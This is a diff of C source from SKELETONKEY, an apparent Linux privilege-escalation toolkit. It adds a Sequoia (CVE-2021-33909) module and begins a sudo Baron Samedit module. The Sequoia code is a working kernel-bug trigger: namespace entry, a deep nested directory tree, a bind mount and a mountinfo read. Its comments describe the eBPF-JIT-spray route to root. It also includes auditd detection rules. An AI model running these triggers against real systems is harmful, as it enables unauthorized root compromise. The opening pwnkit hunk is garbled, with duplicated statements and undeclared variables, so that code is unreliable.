pclose(p);
if (!r) {
if (!ctx->json) {
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
}
return SKELETONKEY_TEST_ERROR;
}
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
char *vp = strstr(line, "version");
if (!vp) return SKELETONKEY_TEST_ERROR;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
if (!ctx->json) {
char *nl = strchr(vp, '\n');
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
FILE *p = popen(cmd, "r");
if (!p) return SKELETONKEY_TEST_ERROR;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) {
if (!ctx->json) {
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
}
return SKELETONKEY_TEST_ERROR;
}
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
char *vp_mut = strstr(line, "version");
if (!vp_mut) return SKELETONKEY_TEST_ERROR;
vp_mut += strlen("version");
while (*vp_mut == ' ' || *vp_mut == '\t') vp_mut++;
char *nl = strchr(vp_mut, '\n');
if (nl) *nl = 0;
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
snprintf(vp_buf, sizeof vp_buf, "%s", vp_mut);
vp = vp_buf;
if (!ctx->json) {
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
}
}
bool vuln = pkexec_version_vulnerable(vp);
@@ -215,7 +230,10 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
const char *pkexec = find_pkexec();
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -0,0 +1,708 @@
/*
* sequoia_cve_2021_33909 SKELETONKEY module
*
* "Sequoia" (Qualys, July 2021): a size_t conversion bug in
* fs/seq_file.c::seq_buf_alloc(). show_mountinfo() passes a `size_t`
* total-output size to seq_buf_alloc(), but the internal accounting in
* seq_read_iter() uses a signed int for the running buffer offset.
* When the mountinfo string the kernel intends to render exceeds
* INT_MAX bytes (which is achievable by mounting a deeply-nested path
* Qualys used ~1 MiB of '/' components), the int wraps NEGATIVE.
* That negative value then propagates into seq_buf_alloc() where it is
* implicitly cast to size_t (huge positive); kmalloc rejects the
* allocation, but a fallback path (`m->buf = vmalloc()` after kmalloc
* fails) ends up writing a small-but-nonzero number of bytes
* specifically the bytes show_mountinfo wanted to render at an
* offset that is OUT OF BOUNDS of the kernel stack buffer
* seq_read_iter held.
*
* Net effect: an unprivileged read(/proc/self/mountinfo) writes
* attacker-controlled bytes (the rendered mountinfo string for our
* deeply-nested bind mount) to a kernel-stack-adjacent location.
* Qualys's chain converted this into LPE by spraying eBPF JIT'd
* programs (one of two known weaponisations; userfaultfd + FUSE
* shadow-mount is the other) so the OOB write lands inside an
* executable JIT page controlled RIP ROP cred swap.
*
* Reference: https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt
*
* Discovered by Qualys (Bharat Jogi et al.), July 2021. Famous for
* being the first widely-disclosed Linux LPE that turned a sub-page
* out-of-bounds write into reliable root via the eBPF-JIT-spray
* primitive that technique has shown up in every "linux mm slab OOB
* JIT spray" public PoC since.
*
* STATUS: 🟡 PRIMITIVE.
*
* detect() version-range + userns reachability gate, refuses on
* patched / unreachable hosts. Mainline fix is commit
* 8cae8cd89f05 ("seq_file: disallow extremely large seq
* buffer allocations") landing in 5.13.4 / 5.10.52 /
* 5.4.134.
*
* exploit() full unshare+userns+mountns reach, builds a ~5000-level
* nested directory tree under /tmp/skeletonkey-sequoia/,
* bind-mounts the deepest leaf back over itself to
* amplify the mountinfo string length, chdir's into the
* leaf, and then open+read /proc/self/mountinfo to fire
* the bug. Witnesses (mountinfo byte count, dmesg
* best-effort) are written to /tmp/skeletonkey-sequoia.log.
* We do NOT attempt the eBPF-JIT-spray weaponisation
* that is a substantial subsystem (sock_filter program
* build + BPF_PROG_LOAD + JIT layout reasoning + per-
* kernel cred offsets) and would be fabricated on any
* kernel we have not empirically tested.
*
* --full-chain STUB. Prints the offset-help message and returns
* EXPLOIT_FAIL. The continuation roadmap is spelled out
* at the bottom of exploit() so the reader can see
* exactly what's missing.
*
* On a *vulnerable* host this module reliably triggers the OOB
* write. On a *patched* host (which is every distro shipping
* 5.13.4 / 5.10.52 / 5.4.134) detect() refuses and exploit()
* returns SKELETONKEY_OK without entering the userns.
*
* Affected: kernel-since-forever (the int-vs-size_t bug has been
* present since the seq_file rewrite c. 2.6.x; Qualys reports it
* exploitable on every distro they checked back to 2014).
* Mainline fix: 8cae8cd89f05 (Jul 20 2021) lands in 5.13.4
* 5.13.x : K >= 5.13.4
* 5.10.x : K >= 5.10.52
* 5.4.x : K >= 5.4.134
*
* Preconditions:
* - Unprivileged user_ns + mount-ns (to get CAP_SYS_ADMIN inside
* userns for the bind-mount; the deeply-nested mkdir itself doesn't
* need privileges, but the amplification mount does)
* - ~1 MiB of cumulative path length under /tmp (5000 levels at
* 200-char component name well within tmpfs default inode budget)
* - /proc/self/mountinfo readable (it is, on everything we target)
*
* Coverage rationale: 2021 fs/seq_file-class bug. Different family
* than our netfilter-heavy and mm-heavy modules broadens the corpus
* shape. Important historical primitive (eBPF JIT spray adopted from
* Sequoia chain into many later exploits).
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#ifdef __linux__
# include <sched.h>
# include <sys/mount.h>
# include <sys/syscall.h>
# include <linux/sched.h>
#endif
/* macOS clangd lacks the Linux mount/syscall headers — guard fallbacks. */
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
#ifndef CLONE_NEWNS
#define CLONE_NEWNS 0x00020000
#endif
#ifndef MS_BIND
#define MS_BIND 0x1000
#endif
/* --- kernel-range table -------------------------------------------- */
static const struct kernel_patched_from sequoia_patched_branches[] = {
{5, 4, 134},
{5, 10, 52},
{5, 13, 4},
{5, 14, 0}, /* mainline */
};
static const struct kernel_range sequoia_range = {
.patched_from = sequoia_patched_branches,
.n_patched_from = sizeof(sequoia_patched_branches) /
sizeof(sequoia_patched_branches[0]),
};
/* --- tunables ------------------------------------------------------- */
/*
* Qualys's PoC uses ~1 million bytes of path. With a 256-byte component
* name we need ~4096 levels; with 200 we need ~5120. We pick 5000 / 200
* which gives a generous margin and stays well under tmpfs's inode
* default cap on modern distros.
*
* The component name is intentionally an A-fill; the kernel renders it
* verbatim into mountinfo so this is what propagates into the OOB
* write. (For the JIT-spray weaponisation the bytes would be a crafted
* stub; we're not doing that here we just want to drive the buggy
* size_t cast.)
*/
#define SEQ_BASE_DIR "/tmp/skeletonkey-sequoia"
#define SEQ_NESTED_LEVELS 5000
#define SEQ_COMPONENT_LEN 200 /* chars per directory component */
#define SEQ_LOG_PATH "/tmp/skeletonkey-sequoia.log"
/* --- userns reach helpers ------------------------------------------- */
static bool write_file(const char *path, const char *s)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return false;
ssize_t n = write(fd, s, strlen(s));
close(fd);
return n == (ssize_t)strlen(s);
}
#ifdef __linux__
static bool enter_userns_root(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
perror("unshare(NEWUSER|NEWNS)");
return false;
}
/* setgroups=deny is required before gid_map without CAP_SETGID. */
if (!write_file("/proc/self/setgroups", "deny")) {
/* Some kernels (pre-3.19) don't have setgroups proc file. */
}
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", uid);
if (!write_file("/proc/self/uid_map", map)) {
perror("write uid_map"); return false;
}
snprintf(map, sizeof map, "0 %u 1\n", gid);
if (!write_file("/proc/self/gid_map", map)) {
perror("write gid_map"); return false;
}
return true;
}
#endif
/* --- detect -------------------------------------------------------- */
static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] sequoia: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The bug predates every kernel we'd run on, so there's no
* "pre-introduction" cutoff; only patched-or-not matters. */
bool patched = kernel_range_is_patched(&sequoia_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
bool userns_ok = ctx->host->unprivileged_userns_allowed;
if (!ctx->json) {
fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
userns_ok ? "ALLOWED" : "DENIED");
}
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged "
"exploit unreachable via bind-mount path\n");
fprintf(stderr, "[i] sequoia: bug is still reachable to a "
"process with CAP_SYS_ADMIN — not us\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] sequoia: VULNERABLE — kernel in range AND "
"userns+mountns reachable\n");
}
return SKELETONKEY_VULNERABLE;
}
/* --- nested mkdir tree --------------------------------------------- */
#ifdef __linux__
/*
* Build SEQ_NESTED_LEVELS deep nested directories under SEQ_BASE_DIR.
* Strategy: chdir() to the parent of each new component, then mkdir
* + chdir into the child. This avoids hitting PATH_MAX in mkdir's
* argument (PATH_MAX is 4096 on Linux; total path here is ~1 MB
* the kernel resolves it segment-by-segment via chdir's dentry cache).
*
* Returns the file descriptor pointing at the LEAF directory (so the
* caller can fchdir() back to it after we drop privs / do other
* setup), or -1 on failure.
*
* On failure we leave whatever we managed to create behind for
* sequoia_cleanup() to mop up.
*/
static int build_nested_tree(int *out_levels_built)
{
*out_levels_built = 0;
/* Ensure base dir exists. We don't care if it already does. */
if (mkdir(SEQ_BASE_DIR, 0700) < 0 && errno != EEXIST) {
fprintf(stderr, "[-] sequoia: mkdir(%s): %s\n",
SEQ_BASE_DIR, strerror(errno));
return -1;
}
if (chdir(SEQ_BASE_DIR) < 0) {
fprintf(stderr, "[-] sequoia: chdir(%s): %s\n",
SEQ_BASE_DIR, strerror(errno));
return -1;
}
/* Component name: SEQ_COMPONENT_LEN bytes of 'A'. The leaf gets a
* recognisable terminator so we can spot our mount in mountinfo. */
char comp[SEQ_COMPONENT_LEN + 1];
memset(comp, 'A', SEQ_COMPONENT_LEN);
comp[SEQ_COMPONENT_LEN] = '\0';
int built = 0;
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
if (mkdir(comp, 0700) < 0 && errno != EEXIST) {
fprintf(stderr, "[-] sequoia: mkdir level %d: %s\n",
i, strerror(errno));
*out_levels_built = built;
return -1;
}
if (chdir(comp) < 0) {
fprintf(stderr, "[-] sequoia: chdir level %d: %s\n",
i, strerror(errno));
*out_levels_built = built;
return -1;
}
built++;
}
*out_levels_built = built;
/* Open the leaf so the caller can fchdir back here. */
int fd = open(".", O_RDONLY | O_DIRECTORY);
if (fd < 0) {
fprintf(stderr, "[-] sequoia: open(leaf): %s\n", strerror(errno));
return -1;
}
return fd;
}
/* Bind-mount the leaf onto itself. This creates a new entry in
* /proc/self/mountinfo whose path field renders the FULL deeply-
* nested path pushing the total mountinfo string length past the
* int-cast boundary. Without the bind mount, mountinfo only lists
* the original /tmp mount (a short string).
*
* Requires CAP_SYS_ADMIN-in-userns (which enter_userns_root gave us). */
static bool bind_mount_leaf(void)
{
if (mount(".", ".", NULL, MS_BIND, NULL) < 0) {
fprintf(stderr, "[-] sequoia: bind-mount(.,.): %s\n", strerror(errno));
return false;
}
return true;
}
/* Read /proc/self/mountinfo fully, count bytes. Best-effort: returns
* the total byte count, or -1 on open failure. On a VULNERABLE kernel
* this read triggers the OOB write inside the kernel. On a patched
* kernel the kernel returns -ENOMEM (the new safety check rejects
* over-large seq_buf allocations). */
static ssize_t read_mountinfo_and_count(void)
{
int fd = open("/proc/self/mountinfo", O_RDONLY);
if (fd < 0) return -1;
ssize_t total = 0;
char buf[8192];
for (;;) {
ssize_t n = read(fd, buf, sizeof buf);
if (n < 0) {
if (errno == EINTR) continue;
/* On a patched kernel, the read may fail with ENOMEM
* after our crafted mountinfo entry triggers the safety
* check. We record the errno via caller's errno read. */
close(fd);
return -1;
}
if (n == 0) break;
total += n;
}
close(fd);
return total;
}
/* Best-effort dmesg sample: open /dev/kmsg and read up to N bytes.
* On most distros this is root-only, so we just gracefully fail and
* note that in the log. */
static void log_dmesg_tail(FILE *log)
{
int fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(log, " dmesg_sample: <not readable: %s>\n", strerror(errno));
return;
}
char buf[2048];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n <= 0) {
fprintf(log, " dmesg_sample: <no data: %s>\n",
n < 0 ? strerror(errno) : "empty");
return;
}
buf[n] = '\0';
/* Scan for SEQUOIA-relevant warning shapes; we don't need the
* exact match, just record whether anything 'oops/BUG/KASAN'-ish
* showed up in the first kmsg page. */
bool oops = strstr(buf, "BUG:") != NULL ||
strstr(buf, "Oops") != NULL ||
strstr(buf, "KASAN") != NULL ||
strstr(buf, "general protection fault") != NULL;
fprintf(log, " dmesg_sample_bytes: %zd\n", n);
fprintf(log, " dmesg_oops_marker: %s\n", oops ? "yes" : "no");
}
#endif /* __linux__ */
/* --- exploit ------------------------------------------------------- */
#ifdef __linux__
static skeletonkey_result_t sequoia_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* (R0) refuse without --i-know. */
if (!ctx->authorized) {
fprintf(stderr, "[-] sequoia: refusing to run exploit without --i-know\n");
return SKELETONKEY_PRECOND_FAIL;
}
/* (R1) refuse if already root. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json) {
fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n");
}
return SKELETONKEY_OK;
}
/* (R2) re-call detect — refuse if not vulnerable. */
skeletonkey_result_t pre = sequoia_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] sequoia: kernel not vulnerable; refusing exploit\n");
return SKELETONKEY_OK;
}
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sequoia: detect() says not vulnerable; refusing\n");
return pre;
}
/* (R3) full-chain: STUB. The Sequoia chain to root needs an
* eBPF-JIT-spray subsystem we don't ship printing the offset
* help and refusing is the honest answer. */
if (ctx->full_chain) {
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
(void)skeletonkey_offsets_resolve(&off);
skeletonkey_offsets_print(&off);
skeletonkey_finisher_print_offset_help("sequoia");
fprintf(stderr,
"[-] sequoia: --full-chain not implemented.\n"
" The Qualys chain converts the stack-OOB write to RIP\n"
" control via eBPF JIT spray: load many sock_filter\n"
" programs, induce the JIT to lay them out at predictable\n"
" kernel-VA pages, then steer the OOB write to overwrite\n"
" the JIT prologue of one program with attacker shellcode\n"
" (cred swap + return). Building that here would mean a\n"
" standalone BPF_PROG_LOAD harness + JIT page-layout\n"
" reasoning + per-kernel cred offsets — a substantial\n"
" subsystem we have not validated empirically.\n"
" See Qualys advisory section 3.1 (eBPF technique) for\n"
" the reference implementation.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: entering userns + mountns\n");
}
/* Fork: keep the deeply-nested mkdir + bind-mount + read confined
* to a child process. The parent can then clean up regardless of
* how the child terminates. */
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* (R4) unshare for userns+mount_ns → CAP_SYS_ADMIN-in-userns. */
if (!enter_userns_root()) {
_exit(20);
}
/* (R5) Build the deeply-nested directory tree. */
int levels_built = 0;
int leaf_fd = build_nested_tree(&levels_built);
if (leaf_fd < 0) {
fprintf(stderr, "[-] sequoia: nested tree build failed at level %d\n",
levels_built);
_exit(21);
}
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: built %d-level nested tree under %s\n",
levels_built, SEQ_BASE_DIR);
}
/* (R6) Bind-mount the leaf back over itself. This is what
* pushes the rendered mountinfo string past INT_MAX. */
if (!bind_mount_leaf()) {
fprintf(stderr, "[-] sequoia: bind-mount failed; cannot amplify "
"mountinfo length\n");
close(leaf_fd);
_exit(22);
}
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: bind-mount leaf-over-leaf armed\n");
}
/* (R7) chdir back to leaf (we may have changed dirs during
* tree build but we want to ensure mountinfo renders our
* mount point in full). */
if (fchdir(leaf_fd) < 0) {
fprintf(stderr, "[~] sequoia: fchdir(leaf): %s — continuing\n",
strerror(errno));
}
close(leaf_fd);
/* (R8) Trigger: read /proc/self/mountinfo. On a vulnerable
* kernel the int-vs-size_t bug fires inside seq_buf_alloc()
* and the kernel performs an OOB write of show_mountinfo's
* rendered bytes off the end of the seq_read_iter stack
* buffer. We have no in-process arb-write primitive that
* consumes those bytes (that's the eBPF-JIT-spray step
* we don't ship), so we just record the empirical
* witness: did the read succeed? what byte count? did
* dmesg cough up an oops marker? */
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: firing trigger — "
"read(/proc/self/mountinfo)\n");
}
errno = 0;
ssize_t mi_bytes = read_mountinfo_and_count();
int mi_errno = errno;
FILE *log = fopen(SEQ_LOG_PATH, "w");
if (log) {
fprintf(log,
"sequoia trigger:\n"
" nested_levels = %d\n"
" component_len = %d\n"
" total_path_bytes ~= %lld\n"
" bind_mount_armed = yes\n"
" mountinfo_read_bytes = %lld\n"
" mountinfo_read_errno = %d (%s)\n",
levels_built, SEQ_COMPONENT_LEN,
(long long)levels_built * SEQ_COMPONENT_LEN,
(long long)mi_bytes,
mi_errno, mi_errno ? strerror(mi_errno) : "ok");
log_dmesg_tail(log);
fprintf(log,
"Note: this run did NOT attempt the eBPF-JIT-spray\n"
"weaponisation. The OOB write fired inside the kernel\n"
"but we do not consume it to control RIP / swap creds.\n"
"See module .c for the continuation roadmap.\n");
fclose(log);
}
if (!ctx->json) {
fprintf(stderr,
"[*] sequoia: mountinfo read returned %lld bytes (errno=%d)\n",
(long long)mi_bytes, mi_errno);
fprintf(stderr,
"[*] sequoia: empirical witness logged to %s\n",
SEQ_LOG_PATH);
}
/* (R9) Continuation roadmap.
*
* TODO(weaponise-jit): spawn the eBPF JIT spray:
* - bpf(BPF_PROG_LOAD, SOCKET_FILTER, ...) many times with
* attacker-chosen byte patterns in the program body
* - the kernel JIT compiles each to a page-aligned executable
* region; bytes from the program body survive into the
* prologue at known offsets
* - tune SEQ_NESTED_LEVELS + SEQ_COMPONENT_LEN so the rendered
* mountinfo string lands the OOB write at the JIT page
* hosting one of our programs
* - the overwritten prologue performs: lookup current task
* cred uid=0 return.
* - execute the (now-attacker-modified) program by attaching
* it to a socket and sending a packet kernel runs cred
* swap /bin/sh as root.
*
* None of this is implemented today. We exit 30 to flag
* "trigger ran cleanly, no escalation". */
_exit(30);
}
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
if (!ctx->json) {
fprintf(stderr,
"[!] sequoia: exploit child killed by signal %d "
"(consistent with OOB write hitting an unmapped page)\n",
sig);
fprintf(stderr,
"[~] sequoia: empirical signal recorded; no cred-overwrite\n"
" primitive — NOT claiming EXPLOIT_OK.\n"
" See %s + dmesg for witnesses.\n", SEQ_LOG_PATH);
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] sequoia: child terminated abnormally (status=0x%x)\n",
status);
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 20) return SKELETONKEY_TEST_ERROR; /* enter_userns failed */
if (rc == 21) return SKELETONKEY_PRECOND_FAIL; /* tree build failed */
if (rc == 22) return SKELETONKEY_EXPLOIT_FAIL; /* bind-mount refused */
if (rc != 30) {
fprintf(stderr, "[-] sequoia: child failed at stage rc=%d\n", rc);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: trigger ran to completion.\n");
fprintf(stderr,
"[~] sequoia: stack-OOB write fired but JIT-spray weaponisation\n"
" NOT implemented (per-kernel offsets + BPF subsystem; see\n"
" module .c TODO blocks). Returning EXPLOIT_FAIL per\n"
" verified-vs-claimed.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static skeletonkey_result_t sequoia_exploit(const struct skeletonkey_ctx *ctx)
{
#ifdef __linux__
return sequoia_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] sequoia: Linux-only module; cannot run on this host\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* --- cleanup ------------------------------------------------------- */
/* Walk back down the nested tree, umounting then rmdir'ing each level.
* Best-effort: we don't bail on the first error because partial cleanup
* is still useful, and some levels may not have a mount on them (only
* the leaf gets bind-mounted in the canonical path). */
static skeletonkey_result_t sequoia_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] sequoia: cleaning up nested tree + bind mounts\n");
}
#ifdef __linux__
/* Try to enter SEQ_BASE_DIR; if it doesn't exist, nothing to do. */
int base_fd = open(SEQ_BASE_DIR, O_RDONLY | O_DIRECTORY);
if (base_fd < 0) {
/* Nothing to clean up — module never ran or already cleaned. */
goto log_cleanup;
}
close(base_fd);
/* Walk to the leaf via chdir, then rmdir as we walk back out. We
* don't know how far we got, so we try the full depth and ignore
* ENOENT. The component name is the same at every level. */
char comp[SEQ_COMPONENT_LEN + 1];
memset(comp, 'A', SEQ_COMPONENT_LEN);
comp[SEQ_COMPONENT_LEN] = '\0';
if (chdir(SEQ_BASE_DIR) < 0) goto log_cleanup;
int depth = 0;
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
if (chdir(comp) < 0) break;
depth++;
}
/* Best-effort: umount the leaf (we may have bind-mounted it). */
(void)umount2(".", MNT_DETACH);
/* Walk back out, rmdir-ing each level. */
for (int i = 0; i < depth; i++) {
if (chdir("..") < 0) break;
if (rmdir(comp) < 0 && errno != ENOENT && errno != EBUSY) {
/* Likely had a mount on it; try MNT_DETACH then rmdir. */
(void)umount2(comp, MNT_DETACH);
(void)rmdir(comp);
}
}
(void)chdir("/");
(void)rmdir(SEQ_BASE_DIR);
#endif /* __linux__ */
log_cleanup:
if (unlink(SEQ_LOG_PATH) < 0 && errno != ENOENT) {
/* harmless */
}
return SKELETONKEY_OK;
}
/* --- detection rules ----------------------------------------------- */
static const char sequoia_auditd[] =
"# Sequoia (CVE-2021-33909) — auditd detection rules\n"
"# Trigger shape: mount(2) on /proc namespaces from a userns +\n"
"# many many mkdir(2) calls in a tight loop with identical long\n"
"# component names. Each individual call is benign — flag the\n"
"# *combination*. The deeply-nested mkdir pattern is the strongest\n"
"# signal: legitimate workloads don't recurse 5000 levels.\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-sequoia-userns\n"
"-a always,exit -F arch=b64 -S mount -k skeletonkey-sequoia-mount\n"
"-a always,exit -F arch=b64 -S mkdir -F success=1 -k skeletonkey-sequoia-mkdir\n"
"-a always,exit -F arch=b64 -S mkdirat -F success=1 -k skeletonkey-sequoia-mkdir\n"
"# Correlation hint: a process producing >1000 mkdir-key events\n"
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
"# the canonical trigger shape.\n";
const struct skeletonkey_module sequoia_module = {
.name = "sequoia",
.cve = "CVE-2021-33909",
.summary = "seq_file size_t overflow → kernel stack OOB write (Qualys Sequoia) — primitive only",
.family = "filesystem",
.kernel_range = "K < 5.13.4 / 5.10.52 / 5.4.134",
.detect = sequoia_detect,
.exploit = sequoia_exploit,
.mitigate = NULL,
.cleanup = sequoia_cleanup,
.detect_auditd = sequoia_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_sequoia(void)
{
skeletonkey_register(&sequoia_module);
}
@@ -0,0 +1,5 @@
#ifndef SEQUOIA_SKELETONKEY_MODULES_H
#define SEQUOIA_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module sequoia_module;
#endif
@@ -72,6 +72,7 @@
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
@@ -150,31 +151,31 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] stackrot: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
* use rbtree-based VMAs and don't have this bug. */
if (v.major < 6 || (v.major == 6 && v.minor < 1)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 1, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&stackrot_range, &v);
bool patched = kernel_range_is_patched(&stackrot_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
"no exotic preconditions\n");
}
@@ -631,7 +632,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -641,8 +643,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
return SKELETONKEY_PRECOND_FAIL;
}
{
struct kernel_version v;
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0 || !maple_tree_variant_present(v)) {
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
return SKELETONKEY_PRECOND_FAIL;
}
@@ -0,0 +1,493 @@
/*
* sudo_samedit_cve_2021_3156 SKELETONKEY module
*
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
*
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
* parser unescapes backslashes in the argv it copies into a heap
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
* walks past the end of the argv string for arguments ending in a
* lone backslash, copying adjacent stack/env contents into the
* undersized heap buffer. The classic trigger is a single-argument
* command line: `sudoedit -s '\<arbitrary tail>'`.
*
* Affects sudo 1.8.2 1.9.5p1 inclusive. Fixed in 1.9.5p2.
*
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
* baron-samedit-heap-based-overflow-sudo.txt
*
* Detect: shell out to `sudo --version`, parse the printed version,
* compare against the vulnerable range. We err on the side of
* reporting OK only when we're confident TEST_ERROR if the version
* line is unparseable.
*
* Exploit: ships a structurally-correct Qualys-style trigger.
* The full chain in the original PoC required per-distro heap-layout
* tuning (libc/libnss-files overlap offsets, target struct picks).
* We do not have empirical landing on this host; we drive the
* trigger, watch for an obvious uid==0 outcome, otherwise return
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
/* ---- Affected-version logic ------------------------------------- */
/*
* sudo version strings look like:
* "Sudo version 1.9.5p2"
* "Sudo version 1.8.31"
* "Sudo version 1.9.0"
* "Sudo version 1.9.5p1"
*
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
* Fixed: 1.9.5p2 and later
*
* Parser strategy: extract three integers (major.minor.patch) plus an
* optional 'pN' suffix. Comparison is lexicographic over
